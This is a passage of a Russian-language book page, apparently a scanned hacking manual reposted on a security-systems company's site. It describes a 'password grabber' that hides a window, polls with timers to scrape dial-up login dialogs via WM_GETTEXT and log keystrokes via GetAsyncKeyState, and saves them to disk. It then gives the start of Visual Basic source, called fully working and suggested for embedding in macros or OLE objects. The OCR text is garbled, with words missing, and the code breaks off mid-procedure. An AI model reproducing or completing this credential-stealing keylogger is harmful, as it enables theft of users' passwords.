8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 33 34 35 36 37 38 39 ... 169

зуйтесь почтовой программой «The в которой есть такая особенность: когда поле «Reply to» заполнено (по умолчанию оно пусто и программы считают его идентичным «From»), то Бэт всегда покажет его в шапке письма.

Съемщик паролей

Вот, кажется, полезныйкоторый может принести выго-

ду не тольконо и создателю. Работа программы

происходит так.

При инициализации создается окно и к нему привязываются два таймера с тиками 2 раза в секунду и 100 раз/сек. Первый таймер предназначен для отслеживания попыток установки связи с Интернетом (фактически связь может и не быть установлена); второй - для

отслеживания нажатий клавиш. Недостаточно обрабатывать месседж WM KEYDOWN, поэтому по второму таймеру отслеживаются все нажатия клавиш (или напишите свой драйвер клавиатуры). Первый таймер всегда включен, второй включается только при обнаружении

окна терминала (если способ входа предусматривает это). Когда юзер нажимает ОК в диалоге ввода имени/пароля, появляется окно «Установка связи а диалог с экрана пропадает. Выясняется, что этот диалог по какой-товыгружается из памяти, а просто прячется (невидимо происходят и другие интересные вещи). Таким образом,

появление «Установка связи с... » является сигналом к снятию содержимого парольного диалога. Параллельно начинает отслеживаться появление окна терминала и, если есть, включается второй таймер, весь клавиатурный ввод. По пропадании терминала накопленное выгружается на диск, второй таймер выключается.

Для образчика выбран общепонятный язык бейсик. Специфические местадля облегченияи написания на других компиляторах. Тем менее код полностью рабочий. Тем удобнее встроить его, скажем, в макросы или OLE-объекты, в чем бейсик мастак. Простите, код не совсем причесан и не оптимизирован, просто не ставилась такая цель.конечно же, сделают это согласно условиям его применения.

//для справки:

// типы данных

// string или $ -вызовов API преобразуется в

// integer или % - int (signed).

110


// ByVal означает, что аргумент передается в стек по значению, по-Паскалевеки (вызовы /API).

// опущенное означает передачу аргумента по ссылке.

// знак <> означает «не равно».

// Здесь создается внутренняя структура описания окна просто для удобства.

Type Window

hwnd As Integer

name As String

End Type

// Массив для кодов клавиш Global key(255) As Integer

DimAs String

Dim PassWrd As String

Dim DialNum As String DimAs Window

Dim Child(255) As Window

Dim Shift As Integer // Флажок нажатия Shift

GlobalAs String

Global TermBox As String

// Объявления вызовов API

Declare Function GetWindow% Lib «user» (ByVal hwin-dow%, ByVal wCmd%)

Declare Function GetWindowText% Lib «user» (ByVal hwindow%, ByVal lpSting$, ByVal nMaxCount%)

Declare Function GetWindowTextLength% Lib «user» (ByVal hwindow%)

Declare Function SendMessage% Lib «user» (ByVal hwnd%,

ByVal message%, ByVal wParam%, ByVal lParam$)

Declare Function GetAsyncKeyState% Lib «user» (ByVal X As Integer)

Const GW CHILD = 5 Const GW HWNDFIRST = 0 Const GW HWNDLAST = 1

111


Const GW HWNDNEXT = 2 Const GW HWNDPREV = 3 Const GWJ3WNER = 4

// Месседж, посылаемый окну для получения его содержимого

Const WM GETTEXT = &HD // OxOD

//

*

// * Точка входа *

//

*****************************************************

*

Sub Main ()

Load SpyWindow // для отслеживания списка окон создаем стартовое окно...

SpyWindow. Hideпрячем его.

// к созданному окну привязано два таймера, Т1 и Т2, с тиками 2 раза/сек и 100 раз/сек.

// инициализация такова, что Т1 разрешен, Т2 выключен

// с приходом месседжа от II вызывается обработка void TimerProcl(void)

// с приходом месседжа от Т2 вызывается обработка void TimerProc2(void)

End Sub

/

***************************************************** ******

// * основная процедура, вызывается 2 раза/сек от таймера Т1 *

//

*****************************************************

******

Sub TimerProcl ()

Dim newUserName As String

DimAs String

Dim newDialNum As String DimAs Integer

112



0 ... 33 34 35 36 37 38 39 ... 169